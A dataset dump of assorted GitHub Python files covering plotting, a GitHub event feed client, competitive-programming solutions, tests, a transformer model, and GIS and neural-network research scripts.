error_bars='CI', mean_amp=mean_amp)\r\n img_file = join(results_dir, '%s_N400.tif' % results_file.strip('.csv'))\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\n make_power_bar(data[3:6], colors, error_bars='CI', mean_amp=mean_amp) \r\n img_file = join(results_dir, '%s_P300.tif' % results_file.strip('.csv'))\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\n make_power_bar(data[6:9], colors, error_bars='CI', mean_amp=mean_amp)\r\n img_file = join(results_dir, '%s_P1.tif' % results_file.strip('.csv'))\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\ndef make_null_figures(results_dir):\r\n\r\n #Get data\r\n data = pd.read_csv(join(results_dir, 'MUSim_Null_FamilywiseTypeI.csv'))\r\n data[['n_trials', 'n_subjects']] = data[['n_trials', 'n_subjects']].astype(int)\r\n \r\n #Plotting parameters\r\n use_cols = ['mean_amp', 'Fmax', 'cluster_05', 'cluster_01']\r\n labels = ['mean amplitude', 'Fmax', 'cluster (p ≤ 0.05 threshold)', 'cluster (p ≤ 0.01 threshold)']\r\n use_colors = ['black', 'lightgreen', 'navy', 'cornflowerblue']\r\n \r\n for time_wind in ('0 - 300', '300 - 1000'):\r\n for trials in (40, 20, 10):\r\n plot_subset = data[(data['time_window'] == time_wind) & (data['n_trials'] == trials)]\r\n proportions = plot_subset.loc[:, use_cols].to_numpy().T\r\n stderr = binom_ci_precision(proportions, 10000)\r\n \r\n #Make bar graph\r\n plot_subset.plot.bar(x='n_subjects', y=use_cols, label=labels, color=use_colors,\r\n fontsize=16, yerr=stderr, legend=False)\r\n plt.xticks(rotation='horizontal')\r\n plt.xlabel('')\r\n plt.ylim((0,0.1))\r\n plt.axhline(y=0.05,linewidth=1, color='r', linestyle='--')\r\n plt.yticks(np.arange(1,11)/100)\r\n plt.xlabel('Number of Subjects', fontsize=18)\r\n \r\n #Save file\r\n img_file = join(results_dir, 'MUSim_Null_FamilywiseTypeI_%s_%dtrials.tif' % (time_wind, trials))\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\ndef make_EW_figures(colors, results_dir):\r\n\r\n ew_files = [file for file in os.listdir(results_dir) if 'Power_EW' in file and file.endswith('.csv')]\r\n \r\n for ew_file in ew_files:\r\n \r\n #Get data\r\n data = pd.read_csv(join(results_dir, ew_file))\r\n #Rename colums to labels to be used in figure\r\n data.columns = ['uncorrected', 'Sidak', 'Fmax', 'Clust0.05', 'Clust0.01', 'BH FDR', 'BY FDR', 'BKY FDR']\r\n \r\n #Make box plot\r\n bplot = data.loc[:, 'Fmax':].boxplot(whis=[5, 95], showfliers=False, \r\n return_type='dict', patch_artist=True,\r\n fontsize=12)\r\n \r\n #For proporition measures, set standard y-scale\r\n if 'onset' not in ew_file and 'offset' not in ew_file:\r\n plt.ylim((0,1))\r\n \r\n #Update colors and line sizes\r\n for key in bplot.keys():\r\n i = 0\r\n for item in bplot[key]:\r\n item.set_linewidth(4)\r\n if key == 'medians':\r\n item.set_color('black')\r\n else:\r\n item.set_color(colors[int(i)])\r\n if key in ['whiskers', 'caps']:\r\n i += 0.5\r\n else:\r\n i += 1\r\n \r\n #Save figure\r\n img_file = join(results_dir, ew_file.strip('.csv') + '.tif')\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\ndef main():\r\n \r\n results_dir = r'C:\\Users\\ecfne\\Documents\\Eric\\Research\\Stats Simulations\\MUSim\\results'\r\n\r\n colors = ['lightgreen', 'navy', 'cornflowerblue', 'red', 'lightcoral', 'firebrick']\r\n \r\n make_power_figures(colors, results_dir)\r\n \r\n make_null_figures(results_dir)\r\n \r\n make_EW_figures(colors, results_dir)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"ericcfields/MUSim","sub_path":"MUSim_make_figures.py","file_name":"MUSim_make_figures.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70249117585","text":"import sys\n\nfrom twisted.python import log\nfrom twisted.internet import reactor\n\nfrom autobahn.websocket import connectWS\nfrom autobahn.wamp import WampClientFactory, WampClientProtocol\n\n# maybe use RSS? https://github.com/organizations/Betterment/betterdan.private.atom?token=(get a token)\nfrom github import Github\n\nclass GithubClient(WampClientProtocol):\n def __init__(self):\n self.ghub = Github('########', '########')\n self.user = self.ghub.get_user()\n self.bment = self.ghub.get_organization('Betterment')\n\n def onSessionOpen(self):\n self.feed()\n\n def feed(self):\n for item in self.getNewItems():\n self.publish('http://example.com/github', item)\n reactor.callLater(2, self.feed)\n\n def getNewItems(self):\n allowed_events = [\n 'commit_comment', 'delete', 'member', 'push',\n 'pull_request', 'pull_request_review_comment']\n\n events = self.user.get_organization_events(self.bment)\n if events:\n result = []\n for event in events:\n if event.type in allowed_events:\n result.append({\n 'user': event.actor.login,\n 'repo': event.repo.name,\n 'payload': event.payload\n })\n return result\n\n return []\n\nif __name__ == '__main__':\n log.startLogging(sys.stdout)\n debug = len(sys.argv) > 1 and sys.argv[1] == 'debug'\n\n factory = WampClientFactory('ws://localhost:9000', debugWamp = debug)\n factory.protocol = GithubClient\n\n connectWS(factory)\n\n reactor.run()\n","repo_name":"dschaub/dev-feed","sub_path":"feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9780671631","text":"x,y = input().split()\nroadSegments = int(x)\nbessieSegments = int(y)\nroad = [] #distance, speed limit\nbessie = [] #distance , speed\nfor i in range (roadSegments):\n x,y = input().split()\n distance1 = int(x)\n speedLimit = int(y)\n road.append([distance1 , speedLimit])\nfor i in range (bessieSegments):\n x,y = input().split()\n distance2 = int(x)\n speed = int(y)\n bessie.append([distance2,speed])\nsimRoad = []\nsimBessie = []\n#print (road)\n#print (bessie)\n#print (roadSegments)\n#print (bessieSegments)\nfor i in range (roadSegments):#initialize the road\n for j in range (road[i][0]):\n simRoad.append(road[i][1])\nfor i in range (bessieSegments):#initialize bessie\n for j in range (bessie[i][0]):\n simBessie.append(bessie[i][1])\nmax = 0\nfor i in range (100):\n if simBessie[i]-simRoad[i] > max:\n max = simBessie[i]-simRoad[i]\nprint (max)\n#print (simRoad)\n#print (simBessie)\n","repo_name":"varunchitturi/USACO","sub_path":"Bronze/USACO_Bronze_Coding_Training/Python_Files/speedingTicket.py","file_name":"speedingTicket.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5792380855","text":"# Standard Library\nimport os\nimport tempfile\n\n# DocumentCloud\nfrom documentcloud.common.environment.local.storage import storage\nfrom documentcloud.documents.choices import Access\nfrom documentcloud.documents.processing.info_and_image.pdfium import (\n StorageHandler,\n Workspace,\n)\nfrom documentcloud.documents.processing.tests.imagediff import same_images\nfrom documentcloud.documents.processing.tests.report_test_case import ReportTestCase\nfrom documentcloud.documents.processing.tests.textdiff import same_text\n\nbase_dir = os.path.dirname(os.path.abspath(__file__))\npdfs = os.path.join(base_dir, \"pdfs\")\nimages = os.path.join(base_dir, \"images\")\ntexts = os.path.join(base_dir, \"texts\")\n\nwith open(os.path.join(texts, \"pg2.txt\"), \"r\", encoding=\"utf8\") as pg2_file:\n page2_text = pg2_file.read()\n\ndesired_texts = [None, page2_text, None]\n\n\nclass PDFProcessorTest(ReportTestCase):\n def test_read_images_and_text(self) -> None:\n with tempfile.TemporaryDirectory() as directory:\n # Start the report and embed the reference PDF.\n self.report_generator.add_subheading(\"Initialize document\")\n pdf_path = os.path.join(pdfs, \"doc_3.pdf\")\n self.report_generator.add_pdf(pdf_path)\n\n with Workspace() as workspace, StorageHandler(\n storage, pdf_path\n ) as file_, workspace.load_document_custom(file_) as doc:\n # Assert correct page count.\n self.assertEqual(doc.page_count, 3)\n for i in range(doc.page_count):\n page = doc.load_page(i)\n # Render each page.\n new_fn = f\"doc_3_pg{i}.png\"\n new_path = os.path.join(directory, new_fn)\n bmp = page.get_bitmap(1000, None)\n bmp.render(storage, new_path, Access.private, \"png\")\n expected_image = os.path.join(pdfs, new_fn)\n # Assert correct extracted images.\n self.assertTrue(\n same_images(new_path, expected_image, self.report_generator)\n )\n # Assert correct extracted texts.\n text = page.text\n expected_text = desired_texts[i]\n if expected_text is None:\n self.assertEqual(len(text.strip()), 0)\n continue\n self.assertTrue(\n same_text(text, expected_text, self.report_generator)\n )\n","repo_name":"MuckRock/documentcloud","sub_path":"documentcloud/documents/processing/tests/test_pdf_processor.py","file_name":"test_pdf_processor.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"74872896785","text":"# \"Prime Factorization\" is finding which prime numbers multiply together to make the original number\n\n# primes_list = [2, 3, 5, ...]\n# n = integer to factor\n# remainder = difference between n / prime in primes_list\n# factor_list = answer to the algorithm\n\n# >>>---------------------------------------------->\n\nfrom sys import argv\nfrom collections import Counter\n\nfilename = \"primes.txt\"\n\nn = int(argv[1])\n\n# retrieve the primes.txt file\nwith open(filename, \"r\") as f:\n primes_list = eval(f.read())\n\n# alternate method reading line-by-line\n# with open(\"primes.txt\") as f:\n# primes = f.read().split('\\n')[:-1] # ignores last line of the file\n\n# make factors list\ndef factorize(n, primes_list):\n factors_list = []\n\n while n < 2:\n n = int(input(\"> Input integer greater than 1: \"))\n\n while n > 1:\n for prime in primes_list:\n if n % prime == 0:\n n = n / prime\n factors_list.append(prime)\n print(factors_list)\n print(Counter(factors_list))\n\n # concat =\n\nfactorize(n, primes_list)\n\n# group multiples to signify \"power of\"\n# print \"prime factors of %d are: \" % target\n\"\"\"\nstrs = []\nfor factor in factorList:\n strs.append(str(factor))\n# strs = [str(factor) for factor in factorList]\nprint(\"{} =\".format(target), \" * \".join(strs))\n\n# format somewhat more nicely with Counters\nfactors = Counter(factorList)\noutput = [\"{}^{}\".format(x, factors[x]) if factors[x] > 1 else str(x) for x in sorted(list(factors.keys()))]\nprint('{} ='.format(target), ' * '.join(output))\n\"\"\"\n\n\n\n\n\n","repo_name":"PDXDevCampJuly/michael_devCamp","sub_path":"python/primes/primeFactorization.py","file_name":"primeFactorization.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29132141574","text":"from django.urls import path ,include\nfrom . import views\n\nurlpatterns = [\n path('login/',views.login,name='login'),\n path('registration/',views.registration,name='registration'),\n path('index/',views.index,name='index'),\n path('logout/',views.user_logout,name='logout'),\n path('delele/',views.department_delete,name='delete'),\n path('update/',views.department_update,name='update'),\n path('update-form/',views.update_form,name='update_form'),\n path('view/', views.view_department, name=\"view\"),\n]\n","repo_name":"devdattakhoche/Predict-Queue-Wait-Time","sub_path":"login/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31665260775","text":"import unittest\nimport requests\n\nurl = \"http://localhost:3050/predict\"\n\n\nclass SimpleTest(unittest.TestCase):\n\n # Returns True or False.\n def test1(self):\n myobj = {\"tweet\": \"i am the big sad\"}\n x = requests.post(url, json=myobj)\n self.assertEqual(\"\"\"{\"prediction\":\"sadness\"}\"\"\", x.text)\n\n # Returns True or False.\n def test2(self):\n myobj = {\"tweet\": \"i am the big happy\"}\n x = requests.post(url, json=myobj)\n self.assertEqual(\"\"\"{\"prediction\":\"happiness\"}\"\"\", x.text)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"amogh-w/COVIDian","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"40554973720","text":"\"\"\"\nUnit test for named function\n\"\"\"\nimport unittest\nfrom data515_project.kc_real_estate import aggregate_by_zip_spacial\n\naggregated_by_zip = aggregate_by_zip_spacial()\naggregated_by_zip_cols = aggregated_by_zip.columns\n\n# Define a class in which the tests will run\nclass TestAggByZip(unittest.TestCase):\n \"\"\"\n This implements the three test methods below.\n\n \"\"\"\n\n # Each method in the class to execute a test\n def test_zipcodes(self):\n \"\"\"\n test that function output dataframe has a zipcode column\n which is necessary for the primary use of the function\n \"\"\"\n self.assertTrue(\"Zip code\" in aggregated_by_zip_cols)\n\n def test_numrows(self):\n \"\"\"\n check that the number of rows in output dataframe is not equal to zero\n \"\"\"\n self.assertFalse(aggregated_by_zip.shape[0] == 0)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"chrico7/data515_project","sub_path":"data515_project/tests/test_aggregate_by_zip_spacial.py","file_name":"test_aggregate_by_zip_spacial.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16277573139","text":"import torch\nfrom torch import nn\n\nfrom einops import rearrange, repeat\nfrom einops.layers.torch import Rearrange\nfrom pe import GaussianRelativePE\n# helpers\n\ndef pair(t):\n return t if isinstance(t, tuple) else (t, t)\n\n# classes\n\n\ndef pair(t):\n return t if isinstance(t, tuple) else (t, t)\n\ndef posemb_sincos_2d(patches, temperature = 10000, dtype = torch.float32):\n _, h, w, dim, device, dtype = *patches.shape, patches.device, patches.dtype\n\n y, x = torch.meshgrid(torch.arange(h, device = device), torch.arange(w, device = device), indexing = 'ij')\n assert (dim % 4) == 0, 'feature dimension must be multiple of 4 for sincos emb'\n omega = torch.arange(dim // 4, device = device) / (dim // 4 - 1)\n omega = 1. / (temperature ** omega)\n\n y = y.flatten()[:, None] * omega[None, :]\n x = x.flatten()[:, None] * omega[None, :] \n pe = torch.cat((x.sin(), x.cos(), y.sin(), y.cos()), dim = 1)\n return pe.type(dtype)\n\nclass PreNorm(nn.Module):\n def __init__(self, dim, fn):\n super().__init__()\n self.norm = nn.LayerNorm(dim)\n self.fn = fn\n def forward(self, x, **kwargs):\n return self.fn(self.norm(x), **kwargs)\n\nclass FeedForward(nn.Module):\n def __init__(self, dim, hidden_dim, dropout = 0.):\n super().__init__()\n self.net = nn.Sequential(\n nn.Linear(dim, hidden_dim),\n nn.GELU(),\n nn.Dropout(dropout),\n nn.Linear(hidden_dim, dim),\n nn.Dropout(dropout)\n )\n def forward(self, x):\n return self.net(x)\n\nclass Attention(nn.Module):\n def __init__(self, dim, heads = 8, dim_head = 64, dropout = 0.):\n super().__init__()\n inner_dim = dim_head * heads\n project_out = not (heads == 1 and dim_head == dim)\n\n self.heads = heads\n self.scale = dim_head ** -0.5\n\n self.attend = nn.Softmax(dim = -1)\n self.dropout = nn.Dropout(dropout)\n\n self.to_qkv = nn.Linear(dim, inner_dim * 3, bias = False)\n\n self.to_out = nn.Sequential(\n nn.Linear(inner_dim, dim),\n nn.Dropout(dropout)\n ) if project_out else nn.Identity()\n\n def forward(self, x):\n qkv = self.to_qkv(x).chunk(3, dim = -1)\n q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h = self.heads), qkv)\n\n dots = torch.matmul(q, k.transpose(-1, -2)) * self.scale\n\n attn = self.attend(dots)\n attn = self.dropout(attn)\n\n out = torch.matmul(attn, v)\n out = rearrange(out, 'b h n d -> b n (h d)')\n return self.to_out(out)\n\nclass Transformer(nn.Module):\n def __init__(self, dim, depth, heads, dim_head, mlp_dim, dropout = 0.):\n super().__init__()\n self.layers = nn.ModuleList([])\n for _ in range(depth):\n self.layers.append(nn.ModuleList([\n PreNorm(dim, Attention(dim, heads = heads, dim_head = dim_head, dropout = dropout)),\n PreNorm(dim, FeedForward(dim, mlp_dim, dropout = dropout))\n ]))\n def forward(self, x):\n for attn, ff in self.layers:\n x = attn(x) + x\n x = ff(x) + x\n return x\n\nclass UpConv(nn.Module):\n def __init__(self):\n super(UpConv,self).__init__()\n self.conv1 = nn.Conv2d(1, 16,3,1)\n self.conv2 = nn.Conv2d(16, 32,3,1)\n self.conv3 = nn.Conv2d(32, 64,3,1)\n self.fc = nn.Linear(64*4*4, 100*100)\n def forward(self,x):\n x = nn.functional.relu(self.conv1(x))\n x = nn.functional.relu(self.conv2(x))\n x = nn.functional.relu(self.conv3(x))\n x = x.view(-1, 64*4*4)\n x = self.fc(x)\n x = x.view(-1, 100, 100)\n x =torch.sigmoid(x)\n return x\n\nclass pp_ViT(nn.Module):\n def __init__(self, *, image_size, patch_size, dim, depth, heads, mlp_dim, pool = 'cls', channels = 3, dim_head = 64, dropout = 0., emb_dropout = 0.):\n super().__init__()\n image_height, image_width = pair(image_size)\n patch_height, patch_width = pair(patch_size)\n\n assert image_height % patch_height == 0 and image_width % patch_width == 0, 'Image dimensions must be divisible by the patch size.'\n\n num_patches = (image_height // patch_height) * (image_width // patch_width)\n patch_dim = channels * patch_height * patch_width\n assert pool in {'cls', 'mean'}, 'pool type must be either cls (cls token) or mean (mean pooling)'\n \n self.to_patch_embedding = nn.Sequential(\n Rearrange('b c (h p1) (w p2) -> b (h w) (p1 p2 c)', p1 = patch_height, p2 = patch_width),\n nn.LayerNorm(patch_dim),\n nn.Linear(patch_dim, dim),\n nn.LayerNorm(dim),\n )\n self.pe = GaussianRelativePE(100)\n self.pos_embedding = nn.Parameter(torch.randn(1, num_patches + 1, dim))\n self.cls_token = nn.Parameter(torch.randn(1, 1, dim))\n self.dropout = nn.Dropout(emb_dropout)\n \n self.transformer = Transformer(dim, depth, heads, dim_head, mlp_dim, dropout)\n\n self.pool = pool\n self.to_latent = nn.Identity()\n self.upconv = UpConv()\n self.mlp_head = nn.Sequential(\n nn.LayerNorm(dim),\n nn.Linear(dim, image_size)\n )\n \n def pe_forward(self, x, start, goal):\n zeros = torch.zeros_like(x, device=x.device, dtype=x.dtype)\n #print(\"dd\",zeros.device,start.device)\n pe_start = self.pe(zeros, start)\n #print(pe_start.device)\n pe_goal = self.pe(zeros, goal)\n return torch.cat([x, pe_start, pe_goal], dim=1)\n\n def forward(self, img,start,goal):\n x = self.pe_forward(img,start,goal)\n x = self.to_patch_embedding(x)\n b, n, _ = x.shape\n\n cls_tokens = repeat(self.cls_token, '1 1 d -> b 1 d', b = b)\n x = torch.cat((cls_tokens, x), dim=1)\n x += self.pos_embedding[:, :(n + 1)]\n x = self.dropout(x)\n\n x = self.transformer(x)\n\n x = x.mean(dim = 1) if self.pool == 'mean' else x[:, 0]\n\n x = self.to_latent(x)\n x = self.mlp_head(x)\n x = x.reshape(-1,10,10)\n\n return self.upconv(x.unsqueeze(1))\n","repo_name":"JimOriginal/NNPP","sub_path":"model/tpp_based_on_Vit.py","file_name":"tpp_based_on_Vit.py","file_ext":"py","file_size_in_byte":6122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28899470090","text":"# Write a function which finds all the words beginning with “s” in a list\n# and prints them out. It also should say how many words it has found beginning with “s”.\n\nmylist = ['fork','switch', 'battery', 'spoon', 'plate', 'sponge', 'glass']\n\n# the function takes the list as an argument\ndef startingLetter(list):\n# counter to keep track of the number of word found\n counter = 0\n# loop to iterate through the list\n for item in range(len(list)):\n# if an item is found with the letter 's' then it is printed out and the counter increment by 1\n if list[item][0] == 's':\n counter = counter + 1\n print(list[item], '\\n')\n# print the total number of word found\n print('There is',counter,'word found with the letter \\'s\\'')\n\n# pass the list to the function\nstartingLetter(mylist)","repo_name":"OhmG-999/Python-week3","sub_path":"exercise9.py","file_name":"exercise9.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29795659669","text":"# ####################################### LOAD REQUIRED LIBRARIES ############################################# #\nimport time,os\nimport math\nimport gdal\nfrom gdalconst import *\nimport numpy as np\nimport baumiTools as bt\n# ####################################### SET TIME-COUNT ###################################################### #\nstarttime = time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\nprint(\"--------------------------------------------------------\")\nprint(\"Starting process, time: \" + starttime)\nprint(\"\")\n# ####################################### DRIVERS AND FOLDER-PATHS ############################################ #\ndrvR = gdal.GetDriverByName('GTiff')\ndrvMemR = gdal.GetDriverByName('MEM')\nrootFolder = \"G:/Baumann/_ANALYSES/SpeciesPredictions/Run04_20171024/\"\nChacoSHP = \"G:/Baumann/_ANALYSES/SpeciesPredictions/NADC_Outline.shp\"\naggLevel = 1000\n# ####################################### PROCESSING ########################################################## #\nspeciesList = [\"Amazonaaes\",\"Ammodramus\", \"Anthuslute\", \"Athenecuni\", \"Cacicuschr\", \"Camptostom\", \"Colaptesme\",\n \"Cranioleuc\",\"Cyanocorax\", \"Elaeniaalb\", \"Elaeniaspe\", \"Elanusleuc\", \"Embernagra\",\n \"Furnariusc\", \"Furnariusr\", \"Geranoae_1\", \"Glaucidium\", \"Hemitriccu\", \"Icterusict\", \"Melanerpes\",\n \"Milvagochi\", \"Mimustriur\", \"Myiarchust\", \"Myiodynast\", \"Ortaliscan\", \"Polioptila\", \"Rheaameric\",\n \"Setophagap\", \"Stigmatura\", \"Thamnophil\"]\n# Build VRTs\noutnames = []\nprint(\"Build VRTs...\")\nfor sp in speciesList:\n print(sp)\n# Build a VRT from the tiles in folder\n fileList = os.listdir(rootFolder + sp + \"/\")\n txtTemp = rootFolder + sp + \".txt\"\n txt_open = open(txtTemp, \"w\")\n for item in fileList:\n path = rootFolder + sp + \"/\" + item\n txt_open.write(path + \"\\n\")\n txt_open.close()\n vrtTemp = rootFolder + sp + \".vrt\"\n outnames.append(vrtTemp)\n command = \"gdalbuildvrt.exe -overwrite -q -b 1 -input_file_list \" + txtTemp + \" \" + vrtTemp\n os.system(command)\n os.remove(txtTemp)\n# Create temp raster for Chaco-SHP\nprint(\"\")\nprint(\"Build Chaco-mask....\")\nshpMem = bt.baumiVT.CopyToMem(ChacoSHP)\nshpLyr = shpMem.GetLayer()\nshpFeat = shpLyr.GetNextFeature()\nshpGeom = shpFeat.GetGeometryRef()\nshpSpatRef = shpGeom.GetSpatialReference()\nx_min, x_max, y_min, y_max = shpLyr.GetExtent()\nx_res = int((x_max - x_min) / aggLevel)\ny_res = int((y_max - y_min) / aggLevel)\nshpRas = drvMemR.Create('', x_res, y_res, gdal.GDT_Byte)\nshpRas.SetProjection(str(shpSpatRef))\nshpRas.SetGeoTransform((x_min, aggLevel, 0, y_max, 0, -aggLevel))\nshpRasBand = shpRas.GetRasterBand(1)\nshpRasBand.SetNoDataValue(0)\ngdal.RasterizeLayer(shpRas, [1], shpLyr, burn_values=[1])\nshpArray = shpRasBand.ReadAsArray()\n# Now resample all VRTs to 1000m by applying the average\nprint(\"\")\nprint(\"Resampling now...\")\nfor vrt in outnames:\n print(vrt)\n # Resample\n ds = gdal.Open(vrt, GA_ReadOnly)\n outMem = drvMemR.Create('', shpRas.RasterXSize, shpRas.RasterYSize, 1, GDT_Float32)\n outMem.SetGeoTransform(shpRas.GetGeoTransform())\n outMem.SetProjection(shpRas.GetProjection())\n gdal.ReprojectImage(ds, outMem, ds.GetProjection(), shpRas.GetProjection(), gdal.GRA_Average)\n # Mask out areas outside the Chaco\n outRB = outMem.GetRasterBand(1)\n outRB.SetNoDataValue(0)\n outArray = outRB.ReadAsArray()\n outArray = np.where((shpArray == 0), 0, outArray)\n outRB.WriteArray(outArray,0,0)\n outname = vrt\n outname = outname.replace(\".vrt\", \"_1000m.tif\")\n bt.baumiRT.CopyMEMtoDisk(outMem, outname)\n os.remove(vrt)\n# ####################################### END TIME-COUNT AND PRINT TIME STATS################################## #\nprint(\"\")\nendtime = time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\nprint(\"--------------------------------------------------------\")\nprint(\"--------------------------------------------------------\")\nprint(\"start: \" + starttime)\nprint(\"end: \" + endtime)\nprint(\"\")","repo_name":"matthias-baumann/ScriptCollections_py","sub_path":"GEO_Reprojecting_Resampling_Converting_Subsetting/2017-04-12_CHACO_Leandro-Abundance_BuildVRT_Resample.py","file_name":"2017-04-12_CHACO_Leandro-Abundance_BuildVRT_Resample.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30824942582","text":"# Exercise 3: Calculate the sum of all numbers from 1 to a given number\nn = int(input(\"Enter number: \"))\n\n\ndef sum_calc(n):\n sum = 0\n for i in range(n + 1):\n sum += i\n\n return sum\n\n\nres = sum_calc(n)\nprint(res)\n","repo_name":"jahidulij/pythonExercises","sub_path":"Loops/e3_sum_upto_n.py","file_name":"e3_sum_upto_n.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10863681765","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n\"\"\"\n@description: 差分数组/Array of Difference\n@file_name: Diff.py\n@project: Algorithm\n@version: 1.0\n@date: 2021/11/12 20:25\n@author: airmelt\n\"\"\"\n\nfrom typing import List\n\n\nclass Diff:\n def __init__(self, arr: List[int]) -> None:\n self.diff = [arr[0]] * len(arr)\n for i in range(1, len(arr)):\n self.diff[i] = arr[i] - arr[i - 1]\n\n def modify(self, i: int, j: int, value: int) -> None:\n \"\"\"\n 取 [i, j] 双闭区间进行区间修改\n 对区间修改只需要 diff[i] += value, diff[j + 1] -= value\n :param i: 起点\n :param j: 终点\n :param value: 修改值\n :return:\n \"\"\"\n self.diff[i] += value\n if j + 1 < len(self.diff):\n self.diff[j + 1] -= value\n\n def recover(self) -> List[int]:\n \"\"\"\n 复原数组\n :return: 原数组\n \"\"\"\n result = [self.diff[0]]\n for i in range(1, len(self.diff)):\n result.append(result[-1] + self.diff[i])\n return result\n","repo_name":"airmelt/Algorithm","sub_path":"Diff.py","file_name":"Diff.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23038481886","text":"def solution(arr):\n ans = [0, 0]\n\n # 압축 필요 검사\n def check(arr, x, y, size):\n cnt = 0\n\n for i in arr[x:x+size]:\n cnt += sum(i[y:y+size])\n\n return True if cnt == 0 or cnt == size**2 else False\n\n # 쿼드트리 재귀 함수\n def compress(arr, x, y, size):\n # 압축 필요 없으면 단일 개수로 증가\n if check(arr, x, y, size):\n ans[arr[x][y]] += 1\n\n # 네 구간으로 압축\n else:\n compress(arr, x, y, size//2)\n compress(arr, x, y+size//2, size//2)\n compress(arr, x+size//2, y, size//2)\n compress(arr, x+size//2, y+size//2, size//2)\n\n compress(arr, 0, 0, len(arr))\n\n return ans\n","repo_name":"Jongminfire/Programmers","sub_path":"Python/Level 2/쿼드압축 후 개수 세기 (분할정복).py","file_name":"쿼드압축 후 개수 세기 (분할정복).py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14670230897","text":"# %%\nimport torch\nimport numpy as np\nfrom torch import nn\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nimport time\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\n\nconfig = {\n \"font.family\": 'Arial', # 设置字体类型\n \"font.size\": 8,\n}\nrcParams.update(config)\n\n\ndef init_node():\n initials = np.random.random(2)\n z11 = np.zeros([1, 2])\n z11[0][0] = initials[0]\n z11[0][1] = initials[1]\n return z11\n\n\nclass FullyConnected(nn.Module):\n def __init__(self):\n super(FullyConnected, self).__init__()\n\n self.layer1 = nn.Sequential(\n nn.Linear(in_features=4, out_features=32, bias=True),\n nn.ReLU())\n\n self.layer2 = nn.Sequential(\n nn.Linear(in_features=32, out_features=32, bias=True),\n nn.BatchNorm1d(32),\n nn.ReLU())\n\n self.layer4 = nn.Sequential(\n nn.Linear(in_features=32, out_features=2, bias=True)\n )\n\n def forward(self, x):\n fc1 = self.layer1(x)\n fc2 = self.layer2(fc1)\n output = self.layer4(fc2)\n output1 = torch.sigmoid(output) * 2\n return output1\n\nprint('\\n---------- Use this part to predict the steady state ----------')\nprint('\\n-- You need to wait about 10 seconds to obtain the monotonicity of f1 and f2 with respect to X2, i.e. f1_f2_X2.png')\nprint('\\n---------- import the DNN model ----------')\n\ntime1 = time.time()\ndynamics_learner = FullyConnected()\ndynamics_learner.load_state_dict(torch.load('Parameters_saved.pickle'))\ndynamics_learner.eval()\nprint('\\n---------- import DNN is finish ----------')\n\n# parameters a and b, different values correspond to different number of steady states\n# when a=0.5 and b=0.8, it has 2 steady states\nab = np.array([[0.5, 0.8]])\nx_ab = torch.as_tensor(ab, dtype=torch.float32)\n\n# 0~1 divide NK=20 \nNK = 20\nx_inital = np.zeros([1, 2])\n\n# fix x1=0.5, no change\nx_inital[0][0] = 0.5\ntt = np.linspace(0, 1, NK)\nf1 = []\nf2 = []\n\nprint('\\n---------- begin calculating f1 and f2 ----------')\nfor i in range(NK):\n x_inital[0][1] = tt[i]\n x1_1 = torch.as_tensor(x_inital, dtype=torch.float32)\n x1_2 = torch.cat([x1_1, x_ab], dim=1)\n x1_3 = dynamics_learner(x1_2)\n f1.append(x1_3[0][0].detach().numpy())\n f2.append(x1_3[0][1].detach().numpy())\nprint('\\n---------- calculating f1 and f2 finish ----------')\n\nprint('\\n---------- begin picture ----------')\nplt.figure(figsize=(2, 2))\nplt.scatter(tt, f1, label='$f_1$', marker='o', edgecolors='#0dbc3e', s=20) # dark green\nplt.scatter(tt, f2, label='$f_2$', marker='o', edgecolors='#6464ff', s=20) # dark 